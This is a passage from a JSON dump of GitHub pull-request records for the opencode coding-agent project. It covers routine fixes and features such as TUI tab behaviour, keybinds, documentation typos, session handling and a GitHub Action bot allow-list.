        "kind": "pull_request",
        "title": "feat(core): defer active session moves",
        "text": "## Summary - admit session moves durably through `session_pending` instead of interrupting active execution - apply deferred moves after execution settlement and route successor work through the new location - preserve latest-wins replacement, startup recovery, and exact admission consumption semantics - regenerate public clients and narrow TUI pending-input delivery handling for move entries ## Testing - `bun typecheck` (workspace pre-push hook, 32 packages) - `bun test test/session-move.test.ts test/session-execution.test.ts test/session-run-coordinator.test.ts test/session-runner.test.ts` (`packages/core`) - `bun test test/event-manifest.test.ts` (`packages/schema`) - `bun test test/promise.test.ts test/effect.test.ts test/api.types.ts` (`packages/client`) - `bun test test/cli/tui/data.test.tsx` (`packages/tui`) - `bun run migration --check` (`packages/core`)",
        "url": "https://github.com/anomalyco/opencode/pull/42025",
        "createdAt": "2026-08-12T13:30:57Z",
        "updatedAt": "2026-08-12T20:36:17Z",
        "timestamp": "2026-08-12T20:36:17Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "thdxr",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42034",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: fix provider display name and PAT typos",
        "text": "### Issue for this PR Fixes #42032 ### Type of change - [x] Bug fix (docs typo) - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Fixes two typos in the docs: 1. `packages/web/src/content/docs/providers.mdx:2490` and `:2528` — `\"My AI ProviderDisplay Name\"` → `\"My AI Provider Display Name\"` (missing space in the example provider config). 2. `packages/web/src/content/docs/github.mdx:100` — \"a [personal access tokens]\" → \"a [personal access token]\" (singular/plural mismatch after \"a\"). ### How did you verify your code works? These are pure doc text changes. `bun typecheck` (30/30 packages) passed via the pre-push hook. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42034",
        "createdAt": "2026-08-12T14:22:57Z",
        "updatedAt": "2026-08-12T15:32:24Z",
        "timestamp": "2026-08-12T15:32:24Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "skyzhao1223",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42036",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): route Muse models to Meta prompt",
        "text": "## Summary - route Muse-family model IDs through the Meta system prompt - render the correct Muse Spark or Muse Glimmer name in identity and feedback text - cover both model families and verify no template placeholder reaches the final prompt ## Tests - `bun test test/plugin/system-prompt.test.ts` - `bun typecheck` Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42036",
        "createdAt": "2026-08-12T14:28:20Z",
        "updatedAt": "2026-08-12T14:32:02Z",
        "timestamp": "2026-08-12T14:32:02Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42037",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): prevent settings dialog handler from locking up on cleanup",
        "text": "### Issue for this PR Closes #42042 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? useSettingsDialog drops subsequent open attempts if the component unmounts or re-renders once, because onCleanup permanently sets dead = true. This removes the dead check so settings.open works reliably after re-renders. The run !== current check is kept to prevent race conditions when dynamic imports resolve out of order. ### How did you verify your code works? Tested hitting Cmd+, and using the command palette in the desktop app after switching tabs/routes. All 722 unit tests in packages/app pass. Added Playwright E2E verification test in packages/app/e2e/user-story/settings-dialog-opening.spec.ts that presses Control+, and asserts div.settings-v2-dialog mounts into the DOM. ### Screenshots / recordings Verified in Playwright headless Chromium (1 passed): the dialog-v2 container renders upon Control+, shortcut trigger. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42037",
        "createdAt": "2026-08-12T14:32:11Z",
        "updatedAt": "2026-08-12T14:58:10Z",
        "timestamp": "2026-08-12T14:58:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "MaaBlock",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42045",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(compaction): adjust instructions and structure to be more clear to smaller models like dsv4 flash",
        "text": "### Issue for this PR Closes #41801 Closes #41268",
        "url": "https://github.com/anomalyco/opencode/pull/42045",
        "createdAt": "2026-08-12T14:53:16Z",
        "updatedAt": "2026-08-12T19:36:53Z",
        "timestamp": "2026-08-12T19:36:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "rekram1-node",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42047",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(github): allow configured bots to trigger actions",
        "text": "### Issue for this PR Closes #7103 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds an `allowed_bots` input to the GitHub Action so trusted GitHub App bots can trigger OpenCode workflows. Bots remain denied by default; callers can allow specific comma-separated bot usernames or use `*` to allow all bots. Bot actors are identified from the webhook sender's explicit `type`, then matched case-insensitively with or without the `[bot]` suffix. Allowed bots bypass the collaborator permission check because GitHub App bot accounts are not repository collaborators and GitHub reports their permission as `none`. Inspired by https://github.com/anthropics/claude-code-action/pull/117. ### How did you verify your code works? - `bun test test/cli/github-action.test.ts` from `packages/opencode` (23 tests) - `bun typecheck` from `packages/opencode` - Repository pre-push typecheck (30 packages) - `git diff --check origin/dev...HEAD` ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42047",
        "createdAt": "2026-08-12T14:56:32Z",
        "updatedAt": "2026-08-12T23:49:18Z",
        "timestamp": "2026-08-12T23:49:18Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "dan-turner",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42048",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: fix broken DigitalOcean and Daytona links",
        "text": "### Type of change - [x] Bug fix (docs: dead links) - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Fixes two broken (404) links in the docs: 1. `packages/web/src/content/docs/providers.mdx` — the DigitalOcean \"Inference Routers\" link pointed to `docs.digitalocean.com/products/genai-platform/concepts/inference-routers/` which returns 404. Updated to the current `docs.digitalocean.com/products/inference/how-to/use-inference-router/` (this is the same URL already used later on the same page). 2. `packages/web/src/content/docs/ecosystem.mdx` — the opencode-daytona link pointed to `github.com/daytonaio/daytona/tree/main/libs/opencode-plugin` which returns 404 (that repo is no longer maintained). The opencode plugin now lives in `github.com/daytona/integrations/tree/main/packages/opencode-plugin`. ### How did you verify your code works? Both replacement URLs were checked and return 200. `bun typecheck` (30/30 packages) passed via the pre-push hook. These are pure doc link changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42048",
        "createdAt": "2026-08-12T14:58:29Z",
        "updatedAt": "2026-08-12T15:31:48Z",
        "timestamp": "2026-08-12T15:31:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "skyzhao1223",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42049",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): hide background badge on interrupted shells",
        "text": "## Summary - record the shell execution status in tool result metadata - render the `Background` badge only when the shell explicitly reports a detached running state - keep interrupted and failed foreground shells from being mislabeled as background work ## Testing - `bun test test/tool-shell.test.ts` (`packages/core`) - `bun typecheck` (`packages/core`) - `bun test test/cli/tui/inline-tool-wrap-snapshot.test.tsx` (`packages/tui`) - `bun typecheck` (`packages/tui`) Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42049",
        "createdAt": "2026-08-12T15:00:56Z",
        "updatedAt": "2026-08-12T15:08:39Z",
        "timestamp": "2026-08-12T15:08:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42052",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): display chained shell commands across multiple lines",
        "text": "Add commandDisplay field to shell tool that splits &&-chained commands with backslash continuations for readable display in the session view and permission prompt. ### Issue for this PR N/A ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Long-chained shell commands quickly become difficult to read. This PR is splitting the output so that '&& command2 ...' is on a new line. To enhance readability. ### How did you verify your code works? Added three cases to `packages/opencode/test/tool/shell.test.ts` covering the permission metadata flow: - Chained command splits into `echo foo \\\\\\n&& echo bar \\\\\\n&& echo baz` - Single command is returned unchanged - `&&` inside quotes is not split (`echo \"a && b\" \\\\\\n&& echo c`) Ran `bun test test/tool/shell.test.ts` from `packages/opencode`: 26 pass, 0 fail. ### Screenshots / recordings <img width=\"785\" height=\"408\" alt=\"Screenshot 2026-08-12 at 11 04 07 AM\" src=\"https://github.com/user-attachments/assets/be2df366-ce8a-4c3e-9652-725b41b8b66a\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42052",
        "createdAt": "2026-08-12T15:11:38Z",
        "updatedAt": "2026-08-12T15:17:20Z",
        "timestamp": "2026-08-12T15:17:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "fowlmouth",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42055",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): smooth session tab marquees",
        "text": "## What Smooth session tab marquees across pointer movement, looping, and hover exit. - Moving the pointer across child renderables inside one tab no longer restarts the marquee delay or resets its offset. - Repeated titles are separated by exactly ` · `. - Leaving a scrolling tab keeps the title moving forward until the next natural beginning, then settles there instead of snapping backward. ## Before / After **Before** Moving across the number, title, or close mark produced bubbling mouse out/over pairs. Each pair reset the marquee to offset zero and restarted its 600 ms delay. A completed loop used four blank cells, and leaving the tab snapped directly to the beginning. **After** Same-tab pointer transitions preserve the waiting or scrolling phase. A real leave hides hover affordances immediately while the title finishes the current ` · ` loop, then returns to its exact starting position. ## How - `packages/tui/src/component/session-tabs.tsx` gives horizontal and vertical tab strips a marquee controller with explicit waiting, scrolling, and forward-return behavior. A zero-delay hover clear distinguishes a real tab exit from OpenTUI's bubbling child transitions. - `packages/tui/src/util/marquee.ts` defines the ` · ` separator and exposes the exact display-cell cycle width used to find the next natural beginning. - `packages/tui/test/util/marquee.test.ts` covers the separator and exact cycle boundary. ## Scope This changes only session tab marquee interaction. Tab layout, title generation, drag behavior, and non-overflowing titles are unchanged. ## Testing - `bun run test test/util/marquee.test.ts` from `packages/tui` - `bun typecheck` from `packages/tui` - Pre-push `bun turbo typecheck --concurrency=3` across the monorepo - OpenCode Drive against this worktree with a simulated long generated title; verified same-tab pointer movement, ` · ` looping, and forward completion after moving off-tab ## Demo OpenCode Drive recording using the real development TUI and a simulated model-generated long session title. https://github.com/user-attachments/assets/363b3d20-ecc8-4694-81e2-1add39341580",
        "url": "https://github.com/anomalyco/opencode/pull/42055",
        "createdAt": "2026-08-12T15:20:28Z",
        "updatedAt": "2026-08-12T15:49:19Z",
        "timestamp": "2026-08-12T15:49:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42056",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): keep session directory filter toggle usable in the picker",
        "text": "### Issue for this PR Closes #42060 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A key bound to `app.toggle.session_directory_filter` does nothing inside the session picker, which is where the toggle matters. It works on the main screen, so it looks intermittent. Cause: the command sits in `appBindingCommands`, which is gathered with `mode: OPENCODE_BASE_MODE`. Opening a dialog pushes `\"modal\"` in `ui/dialog.tsx`, so that layer goes inactive, and the picker is a dialog. Fix: move the command to `appGlobalBindingCommands`, which is gathered without a mode. That list already holds `session.list` and the quick-switch commands for the same reason. Dialog-owned layers still win keys they bind, since dialog bindings are registered by the dialog itself, and this keybind defaults to `none` so no new conflict is introduced. Second change in the same command: `dialog.clear()` ran unconditionally, so toggling from inside the picker closed it and hid the result. The picker's resource queries on `sync.session.query()`, so leaving it open re-lists in place. Palette invocations still clear as before. Happy to drop this part if you would rather keep the PR to the layer move. ### How did you verify your code works? - Bound `ctrl+a` locally. Before: works on main screen, dead in the picker. After: works in both, and the picker stays open and re-lists. - Confirmed the mode interaction directly rather than by eye: pushing `\"modal\"` via `getOpencodeModeStack(keymap).push(\"modal\")` and reading `getCommandBindings({ visibility: \"active\" })` gives 0 active bindings before the change and 1 after. - `bun run typecheck` in `packages/tui`, clean. - `bun test test/keymap.test.tsx test/component/dialog-session-list.test.ts test/config.test.tsx`, 16 pass. I have a regression test for the modal case but left it out, because asserting it needs `appBindingCommands` and `appGlobalBindingCommands` exported from `app.tsx` and I did not want to widen the module API uninvited. Say the word and I will add it. ### Screenshots / recordings No visual change. The keybind defaults to `none`, so nothing differs unless a user binds it. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42056",
        "createdAt": "2026-08-12T15:23:52Z",
        "updatedAt": "2026-08-12T15:30:28Z",
        "timestamp": "2026-08-12T15:30:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "thepigdestroyer",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42057",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): allow binding a key to permission.mode",
        "text": "## Problem Auto-approve permission mode can be reached three ways today: - CLI flags at launch: `--auto`, `--yolo`, `--dangerously-skip-permissions` - the `permission.mode` command in the command palette - programmatically, via `toggle()` on the permission context What is missing is a keybind. `Definitions` in `packages/tui/src/config/keybind.ts` has no `permission_mode` entry, so the command cannot be bound from config, and the only in-session route is opening the palette and picking the entry. The machinery is already there. `context/permission.tsx` exposes `set()` and `toggle()`, and `app.tsx` registers a `permission.mode` palette command with a state-dependent title. This just makes it bindable. ## Change - add `permission_mode: keybind(\"none\", \"Toggle auto-approve permissions\")` to `Definitions` - map it to the existing `permission.mode` command in `CommandMap` - list `permission.mode` in `appBindingCommands` so a layer actually gathers the binding Default is `\"none\"`, so nothing changes for anyone who does not opt in. Three lines, and the third is the one that is easy to miss: a definition plus a `CommandMap` entry resolves correctly but stays inert unless the command is also in a gathered list. I had this wrong at first and the key silently did nothing. ## Verification - `bun run typecheck` in `packages/tui` — clean - `bun test test/keymap.test.tsx test/config.test.tsx` — 11 pass With `{\"keybinds\": {\"permission_mode\": \"ctrl+alt+n\"}}` in `tui.json`, resolving through `TuiConfig.get()` gives: ``` permission.mode -> [{ desc: \"Toggle auto-approve permissions\", key: \"ctrl+alt+n\", cmd: \"permission.mode\" }] ``` I also confirmed end to end that toggling this way suppresses prompts, using a permission that evaluates to `ask`. From the log: `asking id=per_…` at `.714`, then the action proceeding at `.744` with no prompt rendered. ## Notes Deliberately no default key. Auto-approving permissions is dangerous enough that it should stay opt-in, and I did not want to claim a chord on anyone's behalf. If you would prefer a keybind naming other than `permission_mode`, say the word and I will rename.",
        "url": "https://github.com/anomalyco/opencode/pull/42057",
        "createdAt": "2026-08-12T15:24:11Z",
        "updatedAt": "2026-08-12T15:28:53Z",
        "timestamp": "2026-08-12T15:28:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "thepigdestroyer",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42061",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): jump between open menu sections",
        "text": "## What Add section-level keyboard navigation to the Open menu: - `Option+Down` selects the first item in the next visible section. - `Option+Up` selects the first item in the previous visible section. - Navigation wraps between Sessions and Projects. - If filtering leaves one visible section, the selection remains in that section. ## How - `packages/tui/src/ui/dialog-select.tsx` adds opt-in section navigation based on the picker’s filtered groups and existing selection/scroll behavior. - `packages/tui/src/component/dialog-open.tsx` enables section navigation only for the Open menu. - `packages/tui/test/cli/tui/dialog-open.test.tsx` covers forward navigation, backward wrapping, and filtering to one section. ## Scope This does not change normal Up/Down navigation or enable section shortcuts in other select dialogs. ## Testing - `bun run test test/cli/tui/dialog-open.test.tsx test/cli/tui/dialog-select.test.tsx` from `packages/tui` (19 passed) - `bun typecheck` from `packages/tui` - Push hook: `bun turbo typecheck --concurrency=3` (32 tasks passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42061",
        "createdAt": "2026-08-12T15:37:19Z",
        "updatedAt": "2026-08-12T15:52:52Z",
        "timestamp": "2026-08-12T15:52:52Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42062",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): fill image message background",
        "text": "## Summary - apply the user-message surface background to the outer transcript message container - extend the same background behind image previews without changing tool-result image styling or message interactions ## Validation - `bun typecheck` (`packages/tui`) - `bun test` (`packages/tui`): 678 passed, 5 skipped - real TUI before/after at 100×32 with the same standalone session and image attachment Requested by: @simonklee (Simon via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42062",
        "createdAt": "2026-08-12T15:38:45Z",
        "updatedAt": "2026-08-12T15:51:21Z",
        "timestamp": "2026-08-12T15:51:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "simonklee"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42063",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): reject empty compaction summaries",
        "text": "### Issue for this PR Closes #41571 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A compaction model can finish with reasoning but no text summary. V1 currently treats that as success, which can hide the previous history behind an empty summary boundary. This marks the summary as errored and stops before tail, replay, auto-continue, or the compacted event — so a fresh failed attempt cannot filter away earlier messages. It's limited to the safety invariant; #41663 explores the larger structured-input alternative. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/compaction.test.ts` — 54 pass, 1 skip, 0 fail - `cd packages/opencode && bun typecheck` - Changed-file Prettier and `git diff --check` The regression drives a reasoning-only processor response and verifies the error state, stopped result, absent compacted event, and retained history. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42063",
        "createdAt": "2026-08-12T15:39:48Z",
        "updatedAt": "2026-08-12T15:49:27Z",
        "timestamp": "2026-08-12T15:49:27Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42065",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): preserve transcript image height",
        "text": "## What Keep transcript image preview rows at the same full height used by composer image previews. ## Before / After **Before:** The transcript image container could collapse inside the scrolling timeline, so an image submitted from the composer appeared shorter in message history. **After:** The transcript preview row explicitly reserves the calculated image height plus its vertical padding, preserving the same 4-8 row preview size as the composer. ## How - `packages/tui/src/routes/session/index.tsx` gives `SessionImages` an explicit total row height of `height() + 2`. - The existing responsive height calculation, width, cropping, image count, and preview dialog behavior are unchanged. ## Testing - `bun typecheck` in `packages/tui` - Full pre-push repository typecheck hook, 32 packages passed - OpenCode Drive script typecheck and isolated V2 timeline run with an image-bearing prompt ## Demo OpenCode Drive timeline after admitting an image-bearing prompt. The headless renderer preserves the corrected preview row layout but does not paint terminal image-protocol bitmaps into PNG screenshots. ![OpenCode Drive timeline](https://github.com/user-attachments/assets/0eb0b7e3-0852-494b-8c4e-c002bf510e86)",
        "url": "https://github.com/anomalyco/opencode/pull/42065",
        "createdAt": "2026-08-12T15:44:23Z",
        "updatedAt": "2026-08-12T15:49:38Z",
        "timestamp": "2026-08-12T15:49:38Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42066",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): restore navigation keybind defaults",
        "text": "## What Restore the V2 TUI keybind defaults that were unintentionally overwritten or omitted by the command-ID migration in #41882: - `Option+Up` / `Option+Down` switch to the previous / next open tab. - `Option+Shift+Up` / `Option+Shift+Down` switch to the previous / next unread tab. - `Ctrl+0` and `<leader>0` select the tenth tab. - `Ctrl+O` opens the recent sessions and projects menu. - `Ctrl+Shift+T` reopens the last closed tab. - `<leader>I` opens image attachments. - message navigation remains configurable but unbound by default. - bare Home and End remain available for first/last message navigation rather than prompt-buffer boundaries. ## Before / After **Before** The command-ID migration replaced the current tab defaults with stale message-navigation and leader-arrow defaults. It also omitted definitions for commands that remained implemented and registered, so their defaults and migrated user overrides disappeared. Home and End were also rebound to prompt-buffer movement despite #40123 intentionally reserving them for message navigation. **After** The centralized command-ID definitions preserve the effective defaults from immediately before #41882 while retaining the new canonical command IDs. ## How - Restore the affected effective defaults in `packages/tui/src/config/keybind.ts` using canonical command IDs. - Add a focused parity test covering every restored default and omitted command. ## Scope This restores confirmed behavioral parity regressions only. It does not remove unrelated dead command definitions introduced by #41882; those can be audited separately without delaying this fix. ## Testing - `bun run test test/config-v2.test.tsx test/config.test.tsx test/keymap.test.tsx` from `packages/tui`: 31 passed, 0 failed. - `bunx prettier --check packages/tui/src/config/keybind.ts packages/tui/test/config-v2.test.tsx`: passed. - `git diff --check`: passed. - `bun typecheck` from `packages/tui`: blocked by unrelated generated-schema skew in the dependency-linked clean worktree (`location-switched`, AI transport, and system-message schema errors); no errors referenced the changed files.",
        "url": "https://github.com/anomalyco/opencode/pull/42066",
        "createdAt": "2026-08-12T15:49:30Z",
        "updatedAt": "2026-08-12T15:57:42Z",
        "timestamp": "2026-08-12T15:57:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42067",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): generate session titles before model execution",
        "text": "## What Generate a new root session's title as soon as its first admitted prompt becomes visible, instead of waiting for the first model step and its tool calls to finish. This restores the responsive title behavior from V1 while preserving V2's durable prompt admission boundary: queued input does not trigger title generation until it is promoted. ## Before / After **Before:** the runner promoted the first prompt, completed the first model step and any local tool execution, then forked title generation. A tool-heavy first response could leave the fallback session title visible for minutes. **After:** the runner promotes the prompt, forks title generation, and immediately continues into context loading and the main model request. The title and first model step run concurrently, and either title or model failure remains isolated from the other. ## How - `packages/core/src/session/runner/llm.ts` starts the existing coalesced title fiber immediately after `SessionPending.promote(...)` reports newly visible input. - Removes the post-`runStep` title trigger. - Adds a regression test that blocks the first model stream indefinitely and verifies the session is renamed while that step is still running. - Updates retry coverage for the new title-first request ordering and verifies title generation still retries after both title and execution failures. ## Scope This does not generate titles for merely admitted queued prompts. It does not change title model selection, title content, truncation, or retry policy. ## Testing - `bun run test test/session-runner.test.ts` from `packages/core`: 144 passing - `bun typecheck` from `packages/core` - Push hook: repository-wide `bun turbo typecheck --concurrency=3`, 32 tasks passing ## Flow ```mermaid sequenceDiagram participant Inbox as Durable prompt inbox participant Runner as Session runner participant Title as Title model participant Model as Main model Inbox->>Runner: Promote first eligible prompt Runner--)Title: Fork title generation Runner->>Model: Start first model step Title-->>Runner: Persist session rename Model-->>Runner: Stream response and tools ```",
        "url": "https://github.com/anomalyco/opencode/pull/42067",
        "createdAt": "2026-08-12T15:52:25Z",
        "updatedAt": "2026-08-12T16:08:26Z",
        "timestamp": "2026-08-12T16:08:26Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42068",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): add session tab context menu",
        "text": "## What Right-clicking a session tab now opens a borderless context menu beneath the cursor with: - New tab - Rename - Close Right-clicking the new-session control shows the valid New tab action. The menu works in both horizontal and vertical tab layouts, clamps to the terminal bounds, and keeps existing left-click selection, close, and drag behavior unchanged. ## How - `packages/tui/src/component/session-tabs.tsx` distinguishes right-button events from existing tab interactions. - The tab strip renders a cursor-positioned overlay using screen-to-strip coordinates. - Rename delegates to the existing session rename dialog; New tab and Close delegate to the existing tab controller. - Arrow keys, Enter, and Escape provide keyboard control while the menu is open. ## Scope This adds context menus only to session tabs. It does not introduce a general-purpose TUI context-menu component or add right-click actions to messages, files, or tool calls. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/context/session-tabs-model.test.ts` from `packages/tui` - Repository pre-push typecheck across 32 packages - Live PTY verification with `bun run dev:live`: right-click event handling, cursor-relative menu placement, keyboard selection, and action dispatch ## Demo OpenCode Drive recording of the real right-click path. The menu opens beneath the session tab cursor and keyboard navigation moves the active action. https://github.com/user-attachments/assets/bc18b711-5e1f-4387-a0bd-5784f1f5763e",
        "url": "https://github.com/anomalyco/opencode/pull/42068",
        "createdAt": "2026-08-12T15:54:17Z",
        "updatedAt": "2026-08-12T16:46:02Z",
        "timestamp": "2026-08-12T16:46:02Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42072",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: add opencode-stream-rules to ecosystem",
        "text": "Adds [opencode-stream-rules](https://github.com/jiesou/opencode-stream-rules) to the ecosystem plugins table. It's a just-in-time rule injection plugin: rules stay dormant and are surfaced (via a SYSTEM NOTICE or a tool-call rejection) only when the agent is about to break one, keeping the system prompt clean. Inspired by oh-my-pi's time-traveling stream rules.",
        "url": "https://github.com/anomalyco/opencode/pull/42072",
        "createdAt": "2026-08-12T15:59:21Z",
        "updatedAt": "2026-08-12T16:01:37Z",
        "timestamp": "2026-08-12T16:01:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "jiesou",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42073",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): keep exact-fit tab titles stationary",
